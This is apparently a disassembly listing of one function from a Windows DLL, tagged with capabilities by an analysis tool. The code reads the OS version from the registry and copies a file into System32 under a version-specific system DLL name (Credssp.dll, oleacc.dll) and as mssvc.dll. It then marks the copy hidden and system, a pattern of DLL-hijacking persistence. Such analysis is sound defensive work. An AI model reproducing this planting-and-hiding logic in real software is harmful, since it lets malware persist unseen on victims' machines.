Function at 0x1800034d0
Capabilities:
Copy file
Query or enumerate registry value
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov dword [rsp + 0x38], 1
mov r8d, 0x104
mov dword [rsp + 0x3c], 0x104
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x40], 0x104
mov dword [rsp + 0x44], 0x104
mov dword [rsp + 0x48], 0x104
call fcn.1800388f0
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x104
call fcn.1800388f0
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x104
call fcn.1800388f0
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x38]
lea rax, [rsp + 0x50]
xor r8d, r8d
lea rdx, str.CurrentVersion
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x38]
lea rax, [rbp + 0x60]
xor r8d, r8d
lea rdx, str.InstallationType
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x38]
lea rax, [rbp + 0x170]
xor r8d, r8d
lea rdx, str.ProductName
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rbx, [0x180052800]
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rdx, str.PathName
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea rdx, str.Server
lea rcx, [rbp + 0x60]
call fcn.18001ba2c
test eax, eax
jne 0x18000366f
cmp byte [rsp + 0x50], 0x36
jne 0x1800036bc
cmp byte [rsp + 0x52], 0x31
lea rcx, [0x180052910]
jne 0x180003666
lea rdx, str.2008R2
jmp 0x1800036b6
lea rdx, str.2012_2022
jmp 0x1800036b6
lea rdx, str.Client
lea rcx, [rbp + 0x60]
call fcn.18001ba2c
test eax, eax
jne 0x1800036bc
movzx eax, byte [rbp + 0x178]
cmp al, 0x37
jne 0x180003697
lea rdx, str.Win7
jmp 0x1800036af
cmp al, 0x38
jne 0x1800036a4
lea rdx, str.Win8
jmp 0x1800036af
cmp al, 0x31
jne 0x1800036bc
lea rdx, str.Win10_Win11
lea rcx, [0x180052910]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rbx
lea rcx, [0x1800525f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rdx, rbx
lea rcx, [0x180052700]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str.System32mssvc.dll
lea rcx, [0x180052700]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Win7
lea rcx, [0x180052910]
call fcn.18001ba2c
test eax, eax
je 0x180003780
lea rdx, str.2008R2
lea rcx, [0x180052910]
call fcn.18001ba2c
test eax, eax
je 0x180003780
lea rdx, str.Win8
lea rcx, [0x180052910]
call fcn.18001ba2c
test eax, eax
je 0x180003777
lea rdx, str.2012_2022
lea rcx, [0x180052910]
call fcn.18001ba2c
test eax, eax
je 0x180003777
lea rdx, str.Win10_Win11
lea rcx, [0x180052910]
call fcn.18001ba2c
test eax, eax
jne 0x180003794
lea rdx, str._aepic.dll
jmp 0x180003787
lea rdx, str.oleacc.dll
jmp 0x180003787
lea rdx, str.Credssp.dll
lea rcx, [0x1800525f0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 1
lea rdx, [0x180052700]
lea rcx, [0x180052c30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r8d, 1
lea rdx, [0x1800525f0]
lea rcx, [0x180052c30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, 6
lea rcx, [0x1800525f0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.180011100
mov rbx, qword [rsp + 0x3a0]
add rsp, 0x390
pop rbp
ret